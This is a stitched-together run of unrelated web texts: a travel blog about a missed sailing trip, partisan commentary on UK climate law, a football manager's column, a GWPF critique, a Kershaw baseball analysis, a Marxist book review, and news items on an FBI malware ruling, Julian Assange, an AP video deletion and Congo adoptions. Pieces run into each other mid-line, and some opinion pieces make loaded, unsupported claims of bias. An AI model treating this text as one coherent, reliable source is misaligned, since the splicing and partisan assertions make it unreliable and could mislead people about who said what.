However, one of my New Year’s resolutions was to work less and play more. I want to better organize how I do work, so I can do less work.
While in Panama City, I met a Finnish girl who only “goes with the flow.” She makes no plans and doesn’t carry a guidebook, computer, camera, or phone. They are all things that weigh her down, she said. She was my opposite.
But I immediately liked her.
Because of her, I stayed in Panama City an extra week and skipped where I was originally going. I traveled last-minute with her to the small town of Portobelo to see her and my friend JD off to Colombia.
She had invited me with her.
Staring into a pair of blue eyes that could read me far better than I could read them, I didn’t even try and instead went with my gut.
“Ok, I’ll do it!”
Waking up and heading to Portobelo last-minute was by far the best thing I’ve done since I arrived in Central America. Portobelo, a town with no Internet, no good beach, and no fun activities to speak of, ended up being my favorite spot in Panama. The locals were friendly and talkative, spending their nights hanging out in the town square. This was the only place in Panama where I really enjoyed the local food (it had spices and flavor!!!).
But then, the day before we were set to sail, I got cold feet. It wasn’t sailing, it wasn’t Heidi, it wasn’t Colombia. I was afraid of being offline.
Because, unlike Heidi, I couldn’t just walk away from the technology and the Internet.
My mind raced through worst case scenarios. What if something happened? We’d be out on the ocean and I wouldn’t be able to fix anything. What if I missed an interview? An ad deal? A reader had a problem reaching out to me? What if, what if, what if!
I didn’t go. I told her I would take the week to work so I could join her in Colombia.
“You get there in seven days, right? Email me when you arrive and I’ll hop on the next flight and meet you. This way,” I continued, “when I see you again, I’ll be disconnected from the web and we can enjoy Colombia.”
“Ok,” she said. I could sense the doubt in her voice.
“I’ll see you in a week,” I said, kissing her goodbye.
As travelers, it’s important that we are willing to change our plans at a moment’s notice. My friend JD joined the Finnish girl on the boat to Colombia. He was going to Costa Rica, but he decided a boat trip sounded better the morning we went to Portobelo, and he changed his plans right then and there. He too embodies a go-with-the-flow attitude.
I recently read the book Blink by Malcolm Gladwell. In it he says that while we can overanalyze things, it’s the split-second gut decisions that yield the best results. Sometimes we just know what feels right.
I never heard from her again. As I continued around Panama, I checked my email each day in hopes that eventually, one day, I would hear from her, but I never did.
I understand why she ghosted. Here I was, a guy who chose work and technology over sailing to Colombia with a beautiful woman who liked him. We were fundamentally different people, I guess, and she probably just wanted someone who was more carefree.
This was a wake up call.
I had set out on my travels because I wanted to live instead of work. But as my blog took off, I found that the same old work/life problems were rearing their head again. If I wasn’t sightseeing, I was working. Though it didn’t make my trips less fun, it did make them less carefree. There’d be no sudden sailing trips to Colombia or time living on an island in Thailand anymore.
I think it’s important to never second-guess yourself when traveling. That place you were going to go will still be there in the future, but the people you go with and the experiences you are about to have won’t be.
My Finnish friend was right.
Just go with the flow.
If you want to spend more time with people, go with them.
Don’t get caught up in your itinerary.
You don’t have to go anywhere you don’t feel like going.
As a digital nomad, I think it’s easy for me to get trapped in the job. The Internet will always take as much time as you give it. I get stuck behind my computer and stuck in my itinerary, and I feel that I have to go here or I have to do that. I’ve forgotten how travel is always at its best when it isn’t planned.
I’d learned long ago to let go and let travel take you where it wants. Now, travel presented me with a choice to do something great with someone great. But I resisted. And travel, once again, taught me a hard lesson.
The lesson is that travel is all about seizing the opportunities in front of you—especially when they’re opportunities to throw away your plans.
As I realized that the Finnish girl wasn’t going to back, I resolved to never forget why I began traveling in the first place.
I’m grateful for this experience in Portobelo because it made me realize that I do need to go with the flow more. I need to forget about the computer and open myself up to change and spontaneity. Because, after all, those were the reasons I left the cubicle in the first place.
Somewhere, that girl agrees!
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Officially, Britain’s line is that David Cameron’s self-styled “greenest government ever” is well on course to deliver on the promise Energy Secretary Amber Rudd made in June this year when she told parliament:
“The renewable electricity programme aims to deliver at least 30% of the UK’s electricity demand from renewables by 2020. We are on course to achieve this objective. Renewables already make up almost 20% of our electricity generation and there is a strong pipeline to deliver the rest.”
Unofficially, this is but a pipe dream. Rudd admits this in the leaked letter, which was supposed only to have been seen by senior ministers and civil servants.
“The trajectory then increases substantially, and currently leads to a shortfall against the target in 2020 of around 50 TWh (with a range of 32 – 67TWh) or 3.5% points (with a range of 2.1 – 4.5% points) in our internal central forecasts (which are not public). Publically we are clear that the UK continues to make progress to meet the target.”
What this means is that Britain is going to fall about 25 per cent short of its renewable energy targets by 2020.
None of this would remotely matter, of course, if these targets were just notional aspirations. Unfortunately they are legally binding thanks to the 2008 Climate Change Act which only five MPs voted against and which everyone else voted for – including most of the Cabinet and the Prime Minister David Cameron. So Britain – unlike any other country in Europe – actually has to meet these targets or face judicial review, not to mention enormous fines imposed by the European Court of Justice.
All of this was entirely foreseeable.
As critics like Christopher Booker have been arguing since it was signed, the Climate Change Act was the most mindlessly expensive and pointless legislation in British parliamentary history. Originally estimated to cost the taxpayer £18 billion a year every year till 2050 (a total of £734 billion), it is now more realistically reckoned (by the International Energy Agency and the EU itself) that it will cost closer to £1.5 trillion.
Much of the blame for this lies with disastrous former Labour leader Ed Miliband who, in a fit of zeal in his role as Britain’s first Energy and Climate Change secretary, decided to make the energy targets even more stringent and hopelessly unattainable than had originally be proposed. Another culprit is Bryony Worthington – now speaking up for eco-lunacy in the House of Lords as Baroness Worthington – a climate activist from the hard-left environmental group Friends of the Earth who, bizarrely, was given carte blanche by the government to write Britain’s renewable energy policy.
But still the disaster might yet have been averted – or at least the damage mitigated – had the then leader of the opposition, David Cameron, chose to subject the proposed bill to closer scrutiny. Cameron didn’t because he has never been much interested in detail and because he was on a mission to “detoxify” the Conservative brand by trying to outflank the left on environmental issues. (“Vote blue, go green”, as the slogan had it).
The situation only worsened in the Coalition years when Cameron decided to hand the keys to the Department of Energy and Climate Change to his rabidly green, economically illiterate Coalition partners the Liberal Democrats.
What this meant was that all the very worst environmental ideas inherited from the Labour era under Tony Blair and Gordon Brown were now entrenched under administration were the Prime Minister was supposed to be Conservative.
Though Cameron has long since lost patience with the environmental lobby (“cut the green crap” as he put it to one of his ministers), he has been forced publicly to pretend otherwise a) so as not to rock the boat with his EU partners b) because he hates confrontation c) because it suits his party’s centrist image to wrap itself in faux-greenery and d) because there’s nothing he can do to stop it without hours of parliamentary argy bargy because thanks to the Climate Change Act its green policies are embedded in law.
Up till now, his solution has been a characteristic fudge. Appoint a minister – Amber Rudd – who makes all the right green noises but who is yet prepared mercilessly to slash all Britain’s unaffordable green measures: cutting subsidies for solar “farms”; halting the growth of onshore wind “farms”; removing tax relief for investors in “community” renewable energy projects; etc.
Unfortunately the greenies have now noticed – and found a smoking gun – as inevitably they were always going to.
Thanks to this leak to The Ecologist – no doubt by one of the green ideologues who infest the Civil Service – Rudd can expect an extremely rough ride this morning from parliament’s Energy and Climate Change Committee. Most of its members are fully-paid-up believers in man-made climate change.ES Football Newsletter Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account
Around three months ago, in press conferences, I was asked about my future because things were not going so well.
A few weeks later, when things had improved, the question was when would I sign my new contract.
In yesterday’s press conference, we were back on the original subject. The answers I had were very similar to those I have always given.
I don’t blame journalists for asking the questions about my future but what more can I say?
Even last season, after things had gone so well, I was consistent. My focus as manager of West Ham United has always been — and always will be — on the team and the challenge ahead. Everything else will take its course.
If I allow criticism, speculation or anything else to divert my attention from striving to help this team improve, then I am not doing my job.
I am not on social media, so I don’t see it. I am aware, though, of some of the speculation regarding my position at the club but I have to keep a clear head for the job.
However, I am human. Anyone who tells you criticism doesn’t affect them is not telling the truth but does it affect my energy or my concentration? No.
I am a proud person who just wants to make a success of managing this great club. My relationship with David Sullivan, David Gold [the co-owners] |
SCIENCE 15:00 Global Warming Policy Foundation promotes shale gas on the BBC
| October 5. 2011.15:00
Energy company Cuadrilla Resource says that it has found “vast” reserves of shale gas near Blackpool, and the company claims that 800 wells could be drilled in the region creating 5,600 jobs. Shale gas has come to town, and with it the need to pundits to sound off about it.
Step forward the Director of the Global Warming Policy Foundation, Dr Benny Peiser, who last week appeared on BBC North West discussing the recent discovery. The GWPF have recently been active attacking the impacts of green energy measures on energy bills and promoting shale gas as the new miracle energy source, so perhaps they were an obvious choice to provide a bit of background for BBC North West.
In a phrase trailed by the presenters, Peiser described the development as “the best news the north-west has had for thirty years”. In the interview he makes some fair points about some of the knee-jerk responses to shale gas, noting that the recent enquiry by the Environment and Climate Change Committee into the implications of fracking (the controversial methodology by which shale gas is extracted from the ground) concluded that the safety implications are manageable.
However, the framing of Peiser’s appearance by the BBC was odd, especially given the recent BBC trust review of their science coverage. Peiser was described as ‘independent environmental academic’, and the GWPF as an ‘independent charitable think-tank”. During the interview, the presenter referred to Peiser directly as a “obviously a global warming expert”.
This positioning is strange given the pointed criticism in the BBC Trust Review of the amount of space given to climate skeptics by the corporation. The Review name-checked the GWPF specifically, which it characterised as an organisation “active in casting doubt on the truth of man-made climate change”.
We’re not sure what qualifications it takes to be described as a ‘global warming expert’ these days – Peiser is an anthropologist, and his academic qualifications are in sports science. Dr Peiser’s peer-reviewed publications include an article on on the frequency and consequences of ‘cosmic impacts’, one on the effects of environmental factors on the Olympic games, and one on how human activity levels vary with the seasons.
Peiser is not a climate scientist and does not claim to be, although he has appeared on a list of ‘global warming experts’ – one published by the US free-market think tank the Heartland Institute. Similarly, describing Peiser and the GWPF as ‘independent’ seems difficult when they have been so notoriously opaque about who they are funded by – there isn’t enough information to say this confidently.
We have documented examples of how the GWPF (and its founder Lord Lawson) has cast doubt on the science of climate change. The Daily Mail recently printed a correction to a series of high-profile articles about the impact of green measures on energy bills, which were based on figures supplied by the GWPF, but not explained or substantiated by the organisation.
Peiser’s positive stance on shale gas was unsurprising given the sustained lobbying the GWPF have been undertaking in favour of shale gas over recent months. In May they released a report – ” The Shale Gas Shock” authored by popular science writer and climate skeptic Matt Ridley. The report was given an enthusiastic foreword from contrarian physicist Freeman Dyson, which stated:
“Because of shale gas, the air in Beijing will be cleaned up as the air in London was cleaned up sixty years ago. Because of shale gas, clean air will no longer be a luxury that only rich countries can afford. Because of shale gas, wealth and health will be distributed more equitably over the face of our planet”.
In the interview, Peiser presented shale gas as a “clean” fuel because it produces approximately half the emissions to coal. Fair enough – but it’s not that straightforward, as the Chair of the UK’s Energy and Climate Change Committee Tim Yeo has noted:
“Shale gas could encourage more countries to switch from coal to gas, which in some cases could halve power station emissions. But if it has a downward effect on gas prices it could divert much needed investment away from lower carbon technologies like solar, wind, wave or tidal power.”
If shale gas diverts investment from the renewable sector (a prospect which seems to please the GWPF) it is likely to threaten, rather than assist, efforts to reduce greenhouse gas emissions.The knock on Clayton Kershaw was always his control. He couldn’t throw some of his pitches for strikes and was prone to wild spells. He has pitched so spectacularly this season that some may not remember that critique.
In 198 2/3 innings, Kershaw is still striking over a batter per inning, but his walk rate has dropped to slightly over six percent of opposing hitters. While that rate isn’t in the top ten of the National League right now, it represents a marked improvement. From 2008-10, Kershaw walked 11.1 percent of the opposition, ranging from 11-13 percent over the three year span. Among senior circuit pitchers with 400 innings pitched in the span, only Jonathan Sanchez issued free passes with a greater frequency.
Missing bats was never a problem, as his career 9.4 K/9 will attest, but his filthiness proved detrimental to his command. He had the stuff to succeed but had not yet harnessed it. Thus the walks. Now those walks are a thing of the past and is he surpassing what many believed to be his potential at the ripe age of 23 years old.
He entered the league with a world-renowned curveball but couldn’t throw it for strikes. His changeup had potential but it wasn’t a true out pitch. Kershaw threw his fastball with the best of them and could induce whiffs on his offspeed pitches, but he struggled to throw them for strikes. He wasn’t going to blossom into an elite pitcher with a fastball-average curveball-below average changeup repertoire. As hitters began to notice he struggled to control the pitches, they began to lay off, and something had to give.
Kershaw took that opportunity to fine tune his slider. He began throwing the pitch last season, reducing his usage of curveball from 17 percent to just 7 percent. He also got rid of the changeup, throwing it just two percent of the time. For the most part, Kershaw was a fastball-slider pitcher last season, and the slider proved devastating. Whether you trust our pitch run values or not, it’s clear that his slider produced some of the best results of any single pitch last season. Whether using overall runs saved or runs per 100 pitches thrown, he held a clear lead over all other slider-throwers.
The pitch grew even more effective this season, perhaps as he better understood how to sequence and locate it. Kershaw also began to work the changeup in more, giving him an upper echelon fastball-slider-changeup repertoire. His BB/9 dropped from 4.8 to 3.6 last season and he sustained the high strikeout rate. Add to that more grounders than flyballs and Kershaw was well on his way towards becoming one of the best pitchers in the game. Not one of the best young pitchers, or a nice pitcher who could get there in a few years, but one of the best overall pitchers in baseball, free of detracting qualifiers.
Quite the transformation.
At 23 years old, Kershaw is an elite pitcher. He has also garnered plenty of recent support for the Cy Young Award, which seemed like Roy Halladay‘s to lose for most of the season. Kershaw’s age and quick jumps from solid prospect to good major league pitcher and then to elite starter place him in some limited company. Many fans and analysts are quick to point out how rare Justin Upton’s accomplishments are given his age, but Kershaw is deserving of a similar treatment. How many pitchers, 23 years old and younger, have experienced the same type of success?
Going all the way back to 1901, and requiring at least 600 innings logged before turning 24 years old, Kershaw has the 10th best ERA+ at 131. If we instead go back to 1950, then only Dwight Gooden, Bert Blyleven and Dean Chance rank ahead of him. Kershaw finds himself in even more limited company when some of his best attributes are introduced. Since 1901, there are only two pitchers to throw 600 innings before their 24th birthday, while also posting a 9+ K/9: Kershaw and Sam McDowell. The latter whiffed 9.7 batters per nine innings over 799 2/3 frames over the 1961-66 seasons.
Very few pitchers experience Kershaw’s success. Not only are there fewer pitchers called up at such a young age, but it generally takes time for certain youngins to mature at the major league level. Kershaw is a big-bodied lefty flamethrower with likely the best slider in baseball, who now strikes four batters out for every walk. He might not yet be the best pitcher in the National League, but he is making a case as the man to dethrone Roy Halladay over the next few seasons.To mark the publication of Marxism and Anarchism, we publish below a review of this text by Archie Marshall, President of the LSEsu Marxist Society and member of the MSF Executive Committee.
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The 2008 economic collapse had a radicalizing effect on students and young workers, who are always the first to respond to these earth-shaking events. In the face of all this, however, the politicians who purport to represent the working class (Labour in England and the mass ‘socialist’ and Stalinist parties throughout Europe) have only collaborated in the crimes against working people everywhere. It is only natural that in reaction to this betrayal, the awakened youth has developed a distaste for political organization, and have turned to the seemingly novel ideas of anarchists like Noam Chomsky, Michael Albert, and David Graeber. In reality these ideas are far from new, dating back to the struggle between Marx and Bakunin in the First International. If we seriously want to overthrow capitalism and build a socialist society, we must study the theoretical, tactical, and historical aspects of this debate. It is in this spirit that this collection, Marxism and Anarchism, was put together: to educate a new generation of revolutionaries in the best and most effective traditions of the working class movement.
Utopia or science? The philosophical foundations of Marxism and anarchism
“The utopian is one who, starting from an abstract principle, seeks for a perfect social organization.” [1]
Although this volume includes 22 articles by a dozen authors, for reasons of space and relevance we will focus on only some of these. Immediately we are struck by G.V. Plekhanov’s 1895 article Anarchism and Socialism, which explores the theoretical origins of anarchism, tracing them back to the utopian socialism of the 18th and early 19th centuries. The utopian socialists, following the lead of the bourgeois political theorists who preceded them, saught to find the “perfect legislation” for human society. In practice, out of their own imagination they pulled model after model of the ideal society, the social organization that would be most harmonious with “human nature.” While the apologists of capitalism defined (and still define) the nature of humanity as realized in bourgeois property and free trade, the utopian socialists turned this argument on its head and created a new “human nature,” this time favoring collective property and altruism. While this new “socialist nature” was just as invented as the old capitalist one, it nevertheless represented a great advance: the first theoretical formulation of socialism, as a justification for the new collective struggle that was being waged by the newly formed proletariat.
In the middle of the 19th century, there was the massive advance from utopian socialism to scientific socialism, i.e. Marxism. Marx and Engels noted that the “human essence,” the “nature” of people in society, depended wholly on the mode of organization of that given society. Thus, in capitalist society, where people relate to each other through the exchange of privately possessed commodities, this ‘nature’ is marked by individual “freedom, property, equality and Bentham” [2], but this cannot be said of feudal society, slave society, less still the primitive communism of early humans. Furthermore, Marx and Engels showed how social change through history resulted from the growth of science and technology (the forces of production), of humanity’s domination over nature, and that the organization of society around this technology (the relations of production) resulted in opposing class divisions, between exploiter and exploited, whose contradictory struggle repeatedly revolutionized society. They showed that socialism is not just “a good idea,” but the concrete struggle of the working class within capitalism which, accumulating pressure in irresolvable contradictions, becomes revolutionary.
The systematic development of Marxism largely emerged in opposition to the utopian socialists. The strongest current of utopian socialism back then (and still today) is represented by anarchism, which Plekhanov masterfully traces from its origins in Stirner and Proudhon to Bakunin and Kropotkin. We lack the space to expound their theories here, but in the pages of Marxism and Anarchism readers will see that they were idealists, basing social change on movements of the mind. This outlook is the opposite of Marxism—materialism—which brings socialism away from the misty peaks of the imagination, down to earth, to the concrete revolutionary struggle of the working class. It is the antithesis of the long utopian thread extending through anarchism all the way up to its contemporary exponents, such as Michael Albert, whose utopia of “ParEcon” (participatory economics) is critiqued in another article of this volume.
From “propaganda of the deed” to “direct action”
From utopian and middle class ideology, we can directly trace the utopian and middle class tactics of anarchists from the 19th to the 21st century. Setting out from a materialist understanding of society, Marx and Engels developed a science of revolution that saw the agency of classes and groups as fundamental for change, while taking into account the objective conditions within which these groups were forced to work. They agreed with the anarchists, for example, that the state is an oppressive instrument to be thrown into the museum of prehistory. But unlike anarchists, they did not set out from abstract principles, and understood that the state exists because of material necessity—the existence of classes—and that the proletariat had to construct its own democratic workers’ state which would whither away with the advent of classless society. Furthermore, because of its position within capitalism, it was only the collective, organized working class that could bring revolutionary change.
Similarly, we recognize that if we are to destroy the centralized tyrant that is bourgeois society, we need a democratic but centralized organization of the working class. This was one of the major struggles waged by Marx and Engels in the First International against Bakunin, who thought members of the revolutionary organization shouldn’t be constrained by collective democratic decisions. This is a fundamentally middle class tactic, as Alan Woods writes in the included article Marx versus Bakunin:
“The middle classes are used to individualistic methods and have an individualistic mentality. An assembly of students can debate for hours, days and weeks without ever coming to a conclusion. They have plenty of time and are accustomed to that kind of thing. But a factory mass meeting is an entirely different affair. Before a strike, the workers discuss, debate, listen to different opinions. But at the end of the day, the issue must be decided. It is put to the vote and the majority decides. This is clear and obvious to any worker.” [3]
The anarchists, ignoring material conditions, believed that revolution and socialism could simply be made to fall out of the sky. Bakunin thought that “the people” could be roused to revolt through violent acts of individual terrorism on the part of a conspiratorial sect. Although this idea, the “propaganda of the deed,” is unfashionable among modern anarchists, their tactics still rest on the same petty bourgeois and idealist fundamentals. The modern fad is “direct action” or “prefigurative politics”—acting as if we were already free. The theorists of prefigurative politics believe that by “placing ourselves outside of capitalism” (for example, by exchanging without money, forming horizontal organizations, eating from our own organic garden and so on) we pose a threat to the system. They think that by ignoring capitalism and bourgeois state power, we can make capitalism crumble upon itself. In reality, simply ignoring state power couldn’t make Cameron and the bosses any happier. The history of the class struggle clearly shows that the victory of the workers is dependent on whether they set out to conquer power.
The testing grounds of history
The last section of this volume comprises historical works on anarchist movements throughout history, including Nestor Makhno’s black army during the Russian Revolution, the suppression of the Kronstadt revolt, and the CNT in the Spanish revolution. These experiences prove the accuracy of the Marxist theory of the role of classes, as well as the question of power.
Far from being based on anarchist ideological principles, Makhno was successful by basing himself on the interests of the peasantry, which, as Marx explained 100 years ago, always play a vacillating role between the bourgeoisie and the proletariat. In the fight against the Germans and the White reaction—which aimed to restore power to the feudal landlords—Makhno and the peasants fought to defend their own property interests. At a time when three quarters of his forces were poor peasants, he could only maintain his support by allying with the Red Army. But with the defeat of the White forces, and the removal of the feudal threat, in the 1920s the contradictions within the villages came to the fore, making Makhno lose his base of support. Increasingly, his army was composed of rich peasants, Kulaks, who were only interested in a free market for grain. He based his power entirely on tailing these Kulaks, and this can be seen from his breaking of anarchist principles, from appointing all higher officials himself and to creating a brutal secret police. Nabat, the confederation of Ukrainian anarchist groups, recognized that Makhno was no longer an anarchist. The opportunism of Makhno was a result of his peasant base of support, which without the leadership of the working class cannot play a progressive revolutionary role.
In other essays in Marxism and Anarchism we see that anarchism plays an anti-revolutionary role even when it bases itself on the revolutionary proletariat. In the Spanish revolution, the anarchist leaders of the CNT refused any kind of political struggle, basing themselves entirely on their own trade unions. On multiple occasions (July 1937, May 1937) the revolutionary working class could have taken power, but instead of calling for the formation of soviets (democratic workers’ councils) the CNT held back under the belief that all power corrupts. Trotsky outlines this issue with anarchist theory and tactics:
“To renounce the conquest of power means voluntarily to leave the power with those who have it, i.e. the exploiters. The essence of every revolution consisted and consists in the fact that it puts a new class in power and thus gives it the opportunity to realize its own program. It is impossible to lead the masses toward insurrection without preparing for the conquest of power. No one could have hindered the Anarchists after the conquest of power from establishing such a regime as they consider necessary.” [4]
Ironically, the anarcho-syndicalists ended up participating in the popular front government alongside the bourgeois parties and the Stalinists. It is a constantly recurring theme that the workers’ organizations that renounce power when it is in their hands, become disillusioned with their tactics and immediately drift to the right, turning into reformists.
All of this is only an outline, and can’t do justice to the content of Marxism and Anarchism. Readers will find classic works by Engels, Lenin, Trotsky, and Plekhanov, but also modern writings such as A. Kramer’s articles on Makhno and Kronstadt, which rely on recently uncovered historical data. A rich and varied collection, the book is a guide for militants in the student and labor movements—to be consulted and reconsulted.
by Archie Marshall, LSEsu Marxists
ReferencesThe FBI doesn’t need a warrant to collect private IP addresses and other computer-related data during probes and dragnets, a federal court has ruled. The judge said the FBI’s actions were within constitutional bounds, rejecting privacy concerns.
A court in Virginia declined to side with child pornography suspect Edward Matish, who accused the government of “unconstitutional” access to his private computer in February 2015.
Read more
Matish was one of 137 people charged in the probe of Playpen, a website that contained “tens of thousands” of child pornography postings of both videos and pictures.
Having officially obtained a warrant, in December 2014 the FBI installed a malware on Playpen's server to obtain identifying information from everyone logging into the website. Such tactic is officially known as “network investigative technique” or NIT.
The feds did not immediately shut Playpen down, but seized control over it and continued operating it from a government facility in the Eastern District of Virginia.
Between February and March 4, 2015, the malware automatically netted any users who input their logins and passwords. It then made their computers send certain information to the FBI, including IP addresses and operating system names.
This May, Matish filed a motion demanding the government suppress “all evidence seized from his home computer,” arguing that the issued warrant “lacked probable cause.”
On Wednesday, however, US District Judge Henry Coke Morgan rejected Matish’s motion, fully supporting the FBI by ruling that its agents did not need a warrant in the first place.
“The Court FINDS suppression unwarranted because the Government did not need a warrant in this case,” Morgan wrote.
Morgan argued that Matish had “no reasonable expectation of privacy” for his IP address when he logged into a child pornography website. Citing a Supreme Court ruling, Morgan compared the FBI’s actions to “peering into a gap in closed blinds,” which does not violate the Fourth Amendment.
Government may access citizens’ phone location data without a warrant – US Court of Appeals https://t.co/gxyixQdTDMpic.twitter.com/RHlZNk8dgu — RT America (@RT_America) June 1, 2016
“So, no constitutional violation resulted from the Government's conduct in this case,” Morgan ruled.
Wednesday’s ruling triggered sharp criticism from the Electronic Frontier Foundation (EFF), a digital rights group that called the decision “dangerously flawed.”
The EFF’s main concern is that Morgan’s ruling would set a precedent that “law enforcement would be free to remotely search and seize information from your computer, without a warrant, without probable cause, or without any suspicion at all.”
“To say the least, the decision is bad news for privacy,” EFF’s senior staff attorney Mark Rumold wrote.
The EFF had filed an amicus brief in support of Matish, arguing that the FBI’s dragnet violated the Fourth Amendment. However, the group admits that it “did not have the intended effect.”Julian Assange plans to leave the Ecuadorian Embassy in the near future, he told a press conference at the embassy's London compound, where he's been holed up for two years. The WikiLeaks founder gave no further details.
"I am leaving the embassy soon, but perhaps not for the reasons [reported]," he told journalists, refusing to clarify what his reasons are.
Speaking at the conference, he recounted the ordeal of having to hide from prosecution in a case where for four years no charges have been leveled. This has led to a serious deterioration of his health, including heart problems.
Assange:UN human rights states that even prisoners must have minimum 1 hour outside a day.He does not get that because no garden at embassy — Polly Boiko (@Polly_Boiko) August 18, 2014
He listed a host of reasons he believes to be at the center of the injustice taking place in his situation.
"Throughout this entire time I have not been charged," he spoke. "Europe is meant to be a place where the rule of law is respected, where basic rights are respected... but somehow a situation has developed where basic rights that we have previously universally accepted are no longer respected."
The whistleblower continues to flatly deny any rape allegations, which have not been backed up by any formal charges.
Ecuador's Foreign Minster Ricardo Patino was was also present at the conference to defend Assange. He spoke of the continuing efforts on the part of Assange's legal team and the govenrment of Ecuador to bring the situation to a close in a manner that satisfies both the Ecuadorian and the Swedish legal systems. However, they have not come to fruition.
Patino: Swedish prosecutors should be able to take evidence remotely via video link — Polly Boiko (@Polly_Boiko) August 18, 2014
He saw Assange's stay at the embassy as "two years of great uncertainty and lack of justice for everyone," because, while "the effective legal protection of [the whistleblower] has been breached" and no progress was made in the case, the same was true for the Swedish women who are the alleged victims at the other end.
"We continue to be ready to talk to the British and Swedish governments," Patino said. But "It is time to free Julian Assange, it’s time for his legal rights to be respected."
One of the whistleblower's closing remarks was to question exactly what kind of legacy US President Barack Obama would like to leave.
Extradition law changed
The reasoning behind Assange’s announcement is a change to the European arrest warrant, director of the Center for Investigative Journalism, Gavin MacFadyen, told RT.
“The law has changed in a sense that no one now in Britain can be extradited against their will to a country without being charged. And of course as everybody knows what is significant about Julian Assange’s difficulties is that he’s never been charged,” MacFadyen said.
“Either in Sweden by anyone - no one has put anything to him in a court that he could refute or argue against, or even see the evidence of. He is also not been able to do that in US, where the trial against him is in a form of a secret, unpublicized grand jury that has been meeting for three years at a cost to millions of dollars. And there’s been no evidence there of any kind that would result in changes,” he added.
MacFadyen denied rumors that this was a play for media attention.
“They are all exhausted. It has been a very trying period for them. Julian isn’t particularly well. There certainly wasn’t a play for media attention because the issue of him leaving is a very serious, very important issue. Julian to be held as he is now is actually against that law. I think we will see some important changes in the weeks ahead.”The Associated Press has made it harder for Americans to see the shocking collapse of one of the candidates for president on a New York City street Sunday.
The AP has deleted a tweet of video of Hillary Clinton after the 9/11 memorial ceremony as we no longer have distribution rights. — The Associated Press (@AP) September 12, 2016
“The AP has deleted a tweet of video of Hillary Clinton after the 9/11 memorial ceremony as we no longer have distribution rights,” the agency posted late Sunday night.
The original video, posted by apparent passer-by Zdenek Gazda, went viral earlier in the day as it was the only source of proof of what happened to Clinton.
Hillary Clinton 9/11 NYC pic.twitter.com/q9YnsjTxss — Zdenek Gazda (@zgazda66) September 11, 2016
Gazda’s posted has been retweeted over 36,000 times.
While the AP may not have express distribution rights, nothing stops them from tweeting a link to the amateur video — except maybe bias or an effort to limit the damage to Hillary Clinton’s presidential prospects.Justin Carroll is the proud dad of a 6-week-old daughter in Tennessee, but thus far he's done his doting via Facetime video phone calls from Africa. Since mid-November, Carroll has been living in Congo, unwilling to leave until he gets exit papers allowing two newly adopted sons to travel with him.
Carroll and his wife, Alana, are among scores of U.S. couples caught up in wrenching uncertainty, as a suspension of all foreign adoptions imposed by Congolese authorities has temporarily derailed their efforts to adopt.
While most of the families are awaiting a resolution from their homes in the U.S., Justin Carroll and a few other parents whose adoptions had been approved have actually taken custody of their adopted children in Kinshasa, Congo's capital. However, they say that promised exit papers for the children are now being withheld pending further case-by-case reviews, and the parents don't want to leave Kinshasa without them.
This December 2013 photo provided by Justin Carroll shows adopted children in Kinshasa, Congo, whose parents are awaiting exit permits to bring them to their new homes in the U.S. Justin Carroll, AP
"Justin is not going to leave the boys," Alana Carroll said from the family's home in Jefferson City, Tennessee, where she's been caring for biological daughter Carson since her birth on Nov. 25. Justin Carroll was not present for Carson's birth; he left for Africa almost a week earlier.
"In a dire situation, we would just move there," said Alana, referring to Congo. "Leaving our sons there is not an option."
According to UNICEF estimates, Congo - long plagued by poverty and conflict - is home to more than 800,000 children who've lost both parents, in many cases because of AIDS.
Until the suspension was announced in September, Congo had been viewed by adoption advocates in the U.S. as a promising option at a time when the overall number of international adoptions has been plummeting. Congo accounted for the sixth highest number of adoptions by Americans in 2012 - 240 children, up from 41 in 2010 and 133 in 2011.
There are varied explanations for the suspension - explanations which reflect how international adoption has become a highly divisive topic.
The U.S. State Department, in its latest Congo advisory, says all applications for exit permits for adopted children are facing increased scrutiny because of concerns over suspected falsification of documents. Congolese authorities earlier attributed the suspension to concerns that some children had been abused or abandoned by their adoptive parents or have been "sold to homosexuals."
"The government wants to get a handle on this matter, because there is a lot of criminality around it," Interior Minister Richard Muyej Mangez told The Associated Press last month.
The State Department has said it is trying to get accurate information with the hope of enabling some of the families - such as the Carrolls - to take home children whose adoptions had been approved prior to the Sept. 25 suspension. However, it has warned waiting parents that there could be significant delays.
American diplomats in Kinshasa have met with the waiting families and with Congolese officials to discuss the suspension, but Alana Carroll said the families wished the U.S. Embassy staff would press harder to get the cases moving.
"The ambassador said they didn't want to ruffle any feathers," Carroll said.
The Carrolls and four other families have dubbed themselves the "Stuck In Congo Five" and created a Facebook page to draw attention to their plight. Alana and two of the other mothers also have been communicating through their blogs.
One of them, Erin Wallace of Annapolis, Maryland, has been in Congo since October, awaiting exit papers that would enable her to bring newly adopted daughter Lainey home to her husband and their two other children.
She has urged readers of her blog to contact their congressional delegations on behalf of the five families.
"We are desperate to return home with our children," she wrote. "We have been stuck for too long."
Katie Harshman, another of the bloggers, also has been in Kinshasa since October. Her husband, Eric, a groundskeeper with the University of Kentucky athletics department, joined her for the first seven weeks before returning to work.
"There is no reason why we should still be here," Katie Harshman wrote in a recent post. "We have gotten caught in the middle of some kind of craziness."
The Harshmans, Wallaces and Carrolls have been working with Africa Adoption Services, a Louisville, Kentucky, agency founded by Danielle Anderson, a former consular staffer at the U.S. Embassy in Kinshasa.
The spouses who are waiting in Kinshasa, along with their adopted children, are staying together in a guest house. Anderson has advised the Americans to be cautious about venturing out with the children, saying many Congolese people are suspicious about international adoptions.
Anderson said it's difficult to pinpoint why authorities there suspended adoptions.
"It's financial, it's political, it's because of severe homophobia," she said. "But in the end, kids are getting stuck and families are not being united."
In the past two years, Africa Adoption Services has helped dozens of families complete adoptions from Congo, generally for a cost of about $27,000, excluding travel.
Among the successful couples were Emily and Mike Mauntel of Atlanta, whose 2-year-old son, Moses, came home in October. The couple also have a 4-year-old son and 6-year-old daughter.
"My heart is breaking for these five families stuck in the Congo and for the many more families waiting to bring their children home," Emily Mauntel wrote in an email. "I was in the Congo for almost four months trying to bring our son home and it was by far the most difficult time in my life."
Among the U.S. agencies active in Congo is MLJ Adoptions, founded by Indianapolis attorney Michele Jackson, who has two sons adopted from the Congo.
Even before the suspension, Jackson said, the international adoption process in Congo could be slow, with U.S. authorities often taking six months or more to verify that children were not part of any trafficking or baby-selling scheme. In at least recent three cases, Jackson said, children died of disease during the vetting process.
Alana Carroll said one of her two new sons, Canaan, was sickly and introverted when her husband began caring for him, and is now thriving. But the long separation has taken an emotional toll.
